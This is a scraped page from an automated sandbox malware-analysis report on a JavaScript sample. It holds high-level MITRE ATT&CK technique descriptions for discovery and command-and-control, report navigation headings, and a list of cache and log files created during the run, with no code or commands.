Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 5405100231672716142.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a9cc0485-ae16-4c26-921a-4965945f9078.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1220

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
5405100231672716142.js